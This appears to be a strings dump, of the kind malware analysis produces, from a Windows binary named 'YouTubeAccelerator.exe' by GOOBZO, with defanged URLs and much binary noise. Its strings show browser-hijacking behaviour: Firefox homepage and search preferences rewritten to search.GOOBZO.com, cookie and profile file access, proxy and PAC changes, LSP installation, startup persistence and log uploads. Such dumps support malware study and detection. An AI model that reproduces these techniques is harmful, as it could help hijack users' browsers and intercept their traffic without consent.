std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator   
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator   
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm
invalid operator<
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --
gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator   

YouTubeAccelerator.exe_1800:




.text
`.rdata
@.data
.text1
.adata
.data1
.pdata
.rsrc
uh9.tZ
otuh9.tZ
tZ9.tB
tV9.tB
l$$9.tZ
ub9.tM
@ SSh
SSSSh
D$<9.tZ
\9.tB
D$`9.tZ
FTPj
t#WSSh
D$(PSSh
s%j.Zf
tGHt.Ht&
%a,%d-%b-%Y %H:%M:%S
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
spCmd
3.3.9.4
<img src="images/v4.gif" alt="" />
<img src="images/v3.gif" alt="" />
user32.dll
CWebBrowser2
CNotSupportedException
hhctrl.ocx
CCmdTarget
KERNEL32.DLL
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
OLEACC.dll
c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb
VERSION.dll
KERNEL32.dll
USER32.dll
GDI32.dll
COMDLG32.dll
WINSPOOL.DRV
ADVAPI32.dll
SHELL32.dll
COMCTL32.dll
SHLWAPI.dll
oledlg.dll
ole32.dll
OLEAUT32.dll
WININET.dll
WS2_32.dll
USERENV.dll
PSAPI.DLL
.?AVCCmdTarget@@
.PAVCException@@
.?AVCWebWindow@@
.?AVCHttp@@
.?AVCHttpAsync@@
.?AVCExecuteUpdate@@
.?AVCExitWindows@@
.?AVIHttpEngineConfiguration@@
.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@
.?AVHttpEngineConfiguration@@
.?AVIPipeEventsThread@@
.?AVCSLogReportEventThread@@
.?AVCPipeEventThread@@
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
<>"#{}|\^~[]`' ?&
.?AVCSABaseWebWindow@@
.?AVCSANotifierWebWindow@@
.?AVCSAWebWindow@@
.PAVCMemoryException@@
.?AVCWebBrowser2@@
.?AVCWebForm@@
.?AVCWebElement@@
.?AVCWebInput@@
.?AVCWebAnchor@@
.?AVCWebDiv@@
.?AVCWebCheckBox@@
.PAVCSimpleException@@
.PAVCObject@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.PAVCOleException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCTestCmdUI@@
.?AVCCmdUI@@
.PAVCOleDispatchException@@
.PAVCArchiveException@@
.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@
.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@
.PAVCFileException@@
zcÁ
aSSSh
FTPjK
FtPj;
C.PjRV
]@ ]( ]8
FTPQ
.?AVunsupported_thread_option@boost@@
SetProcessShutdownParameters
kernel32.dll
COMCTL32.DLL
boost::too_few_args: format-string referred to more arguments than were passed
boost::too_many_args: format-string referred to less arguments than were passed
Required USB Key not found
Failed to execute target process
Cannot find import; DLL may be missing, corrupt, or wrong version
File "%s", function "%s"
File "%s", ordinal %d
File "%s", error %d
(Error code %d)
%X:DAF
(Location XEB, error code %d)
_PAD%d
RNX
%X::DAX
.DbgLog
GetWindowsDirectoryW
CreateDialogIndirectParamW
Kernel32.dll
User32.dll
ComDlg32.dll
1.2.3
EXCEPTION_FLT_INVALID_OPERATION
EXCEPTION_FLT_DENORMAL_OPERAND
boost::unsupported_thread_option
mscoree.dll
Visual C   CRT: Not enough memory to complete call to strerror.
.mixcrt
ADVAPI32.DLL
portuguese-brazilian
Broken pipe
Inappropriate I/O control operation
Operation not permitted
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe
GetWindowsDirectoryA
EnumThreadWindows
EnumWindows
CreateDialogIndirectParamA
GetAsyncKeyState
comdlg32.dll
GetProcessHeap
GetCPInfo
GetConsoleOutputCP
^.Ad/
.Zvv[
j%FwL
e.tu/
5%up/
A.YNpN\n
%Um-IF
.BV$L|
%X1:S
`?T%Sj
%x@k4
.iyDY
j.Wsf
Cr.BxL
V.Fb7|
$"bM-Q}n
%x R\X
4%sPp
_%S3@
.LvHT
.owm;y,
}R.zmA
.bi@{
>I|.pt|d
t_\A
p}.GF
G){.mf
.xh$x
U.gs!
J|0.tL
.iJp`
.zE:aG
.7%Xs
-DED%xFqz
%cnzb
%UQzss
1%.Ey\=
/\%Dg
.FlC\5
.cA~;
P?=I_.or\
E.yb|4
%SuSw
T.UHuR
.sq>9
.US?g#
~}.LRy
c.dQ7
ZcMD
@U|
I%S5E
$tTH2.yN"
iZ.ixY
L/%X=
2Ag{%c
v..jv
0\.Hc
v.Wj-
Tcrt
F.gj]
y.jxU
%cl%[
%X_`h
~L.DTh
).Zi0
.TOmY
n^5.fT
WB.Bp
.FuB3
]A]%U
.MAFEz
|SM
.UoZ} 
%Xjv6
.Rw.J
u^.aO!
?*.LO!
,^.ew
|%f;.)
kB.hR
%>.zv
.kif;
^__:;;,,,~
9:;556011---
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
%s (%s:%d)
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl
JhXXp://@BRAND_ID@.@[email protected]/support/video-sites
hXXp://@BRAND_ID@.@[email protected]/buy/hd/
hXXp://wiki.@[email protected]/doku.php?id=va:start
%s?OEM=%s
hXXp://VVV.@[email protected]
hXXp://@BRAND_ID@.@[email protected]/legal/license
blank.html
hXXp://VVV.@[email protected]/legal/privacy
[CAcceleratorEventsData::OnDeserialize] ___Error get URL
@CActivationBrowser::OnBeforeNavigate : url = %s
CActivationBrowser::OnNavigateComplete : url = %s
CActivationBrowser::OnNavigateError : url = %s
Res.dll
CActivationBrowser::SetMetaData GOT 'OPEN_URL'
OPEN_URL
CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'
ACTIVATION_BACK_URL
activation_offline.mht
%X%X%X
hXXp://client.@[email protected]/clientva/Activation.aspx
CActivationBrowser::OnDocumentComplete : url = %s
ipc.dll
\\.\pipe\GOOBZO_VAPIPESERVERENG
LastNum%d
LastID%d
\\.\pipe\GOOBZO_VAPIPESERVERUI
CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s
CBrowserSettings::RegisterDLL %s
%s = %s; expires = %s
%a,%d-%b-%Y %H:%M:%S GMT
2prefs.js
profiles.ini
profile%d
Mozilla\Firefox\
cookies.txt
Software\Microsoft\Internet Explorer\AboutURLs
user_pref("keyword.URL", "%s");
Use Custom Search URL
DefaultSearchURL
SBSearch.dll
SearchURL
Web Search
user_pref("browser.startup.homepage","%s");
restore.GOOBZO.com
hXXp://search.GOOBZO.com
search.GOOBZO.com
%d-%b-%Y
hXXp://restore.GOOBZO.com
user_pref("browser.startup.homepage",
HTTP/1.0
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
HTTP/1.1
Content-Type: multipart/form-data; boundary=%s
Content-Disposition: form-data; name="%s"
XXX
[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d
[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d
test.youtubeaccelerator.com
hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CCommTest::SetEngineMode] %d
vaproxy.pac
[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!
[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d
testlsp.exe
[CCommTest::ProcessNextState] ___Error State = %d !!!
[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d
[CCommTestDlg::ResetConnectionTimer] SetTimer: %d
[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d
CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
showitunesMsg
DontShowAccelerationNotSupported
lastiTunesMsgTime
ManualProxyPort
[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d
[CConfig::IsLastTestingSucceeded] XML - Status = %d
[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)
[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)
[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)
[CConfig::IsTestingMode] TestingMode = %d (XML)
[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)
[CConfig::SetTestingMode] TestingMode = %d (XML)
[CConfig::GetBrandPort] BrandPort = %d
br_port
CConfig::SetCurrentUserKey
ReportCommFailed
[CConfig::SetSendLogFiles] Status = %d
[CConfig::SetSendInstLogFileOnly] Status = %d
[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CConfig::SetTracerOff] ___Error GetRegistryKeys
[CConfig::SetBackup] ___Error GetRegistryKeys
[CConfig::SetBackup] Status = %d
[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list
[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list
[CConfig::IsXBoxMode] Status = %d
[CConfig::SetTracerOn] ___Error GetRegistryKeys
[CConfig::SetTracer] Status = %d
B%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
[CCoreConfig::InitConfig] Product Name %s UseRegistry %d
You are using %s - Translated by:
[CFileResource::Load] ___Error SizeofResource: %d
[CFileResource::Load] ___Error LockResource: %d
[CFileResource::Load] ___Error LoadResource: %d
[CFileResource::Load] ___Error FindResource: %d
[CFileResource::Load] %s
[CFileResource::Extract] ___Error Write: %d
[CFileResource::Extract] ___Error Create: %d
[CFileResource::Extract] %s
[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x
[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d
ListenPort
[EngineConfiguration::GetCurrentUserKey] User Key: %X
[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
HttpRedirectProxyPort
HttpRedirectProxyDomain
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
B[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd
[CExecuteUpdate::OnDeserialize] ___Error get m_Directory
[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters
[CExecuteUpdate::OnDeserialize] ___Error get m_Operation
[CExecuteUpdate::OnDeserialize] ___Error get m_File
[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d
http_port
user.js
user_pref("network.proxy.
autoconfig_url
Windows XP Firewall (ICF)
SOFTWARE\McAfee.com\Personal Firewall
DAP.EXE
Windows Security Alert
%d.%d.%d.%d
HttpHandleAll
HttpWorkerBufferLimit
HttpListenPort
HttpListenIP
.html
\winhlp32.exe
[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL
[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p
[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
http=
[CIEInternetProxySettings::Save] %s - %s = %s
[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
Name: %s
Path: %s
Version: %s
%s_%d.log
CSLogReportEventThread::DoPacLogFiles] Zip file created.
*.bak
CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d
*.log
Config.xml
CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.
BakLspCommTest.zip
LspCommTest.zip
[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X
[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED
hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx
[CSLogReportEventThread::DoPostZipFile] Trying to POST...
[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s
hXXp://online.@[email protected]/online/
CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.
CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d
SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original
SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current
M[CRegistrationMgr::IsTrialVersion]%d
exp=%d
ins=%d
Dur=%d
[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s
Trial.dat
Trial_QA.xml
[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s
(%d days left)
DAYURL
[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetDailyUrl]
[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s
[CRegistrationMgr::GetContinueTrialDailyUrl]
[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d
[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s
xmldb.dll
config.xml
RtmpListenPort
MiTunes.exe
[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL
[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL
[CSA_GUIApp::IsTrial] m_bIsTrial = %d
User%d
[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s
[CSA_GUIApp::GoToURL] ___Error The specified file was not found
YouTubeAccelerator.exe
[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s
ytalsp.dll
[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s
[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d
[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s
unwise.exe
[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d
[CSA_GUIApp::GetTempDir] Folder: %s
[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s
%s %s
[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s
YoutubeAcceleratorService.exe
D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s
[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d
[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d
[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)
[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s
Res\VARes_%d\
[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x
[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x
[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s
VARes_%d\
[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d
ResOld.dll
ResTemp.dll
[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x
[CSA_GUIApp::RunFinishHtml] GotoURL status is %d
[CSA_GUIApp::RunFinishHtml] Finish URL is : %s
hXXp://@BRAND_ID@.@[email protected]/finishinstall?
hXXp://rep.@[email protected]/app/ping.ashx
engine.dll
[CSA_GUIApp::FormatURL] URL: %s
&TrialDaysLeft=%d
?V=%s&pr=%d&Beta=%d&Emode=%d
[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL
[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d
[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d
VA???.lng
[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!
[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d
%s&OEM=%s
hXXp://@BRAND_ID@.@[email protected]/support/help
VIDEO_ACCELERATOR.MHT
[CSA_GUIDlg::ShowMenora] ___Error No lending url
[CSA_GUIDlg::OnMenoraOpen] ___Error url empty
[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d
[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d
[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...
[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s
-b -d %s
lspinst2.exe
lspinst.exe
CSABaseWebWindow::OnBeginDrag
CSABaseWebWindow::OnStopDrag
ECSABaseWebWindow::Navigate : url = %s
CSABaseWebWindow::OnNavigateError : url = %s
CSABaseWebWindow::OnNavigateComplete : url = %s
CSABaseWebWindow::OnDocumentComplete : url = %s
CSANotifierWebWindow::SetMetaData GOT 'height'
CSANotifierWebWindow::SetMetaData GOT 'width'
[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table
[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"
[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table
[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"
[CSANotifierWebWindow::ReplaceLNGTags] length %d
[CSANotifierWebWindow::ReplaceLNGTags]
[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed
ItweetMessage.mht
SilentTestFailed.mht
SilentTestSucceeded.mht
ITUNESMESSAGE.MHT
hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp
OldDriver.mht
Activation_Expired.mht
noupdates.mht
exiting.mht
va_on.mht
va_off.mht
dl_update.mht
update.mht
HD_DISABLED.MHT
ACCELERATION_NOT_SUPPORTED.MHT
now_accelerating.mht
ACCELERATION_NOT_SUPPORTED_CHECKBOX
ACCELERATION_NOT_SUPPORTED_BUTTON_OK
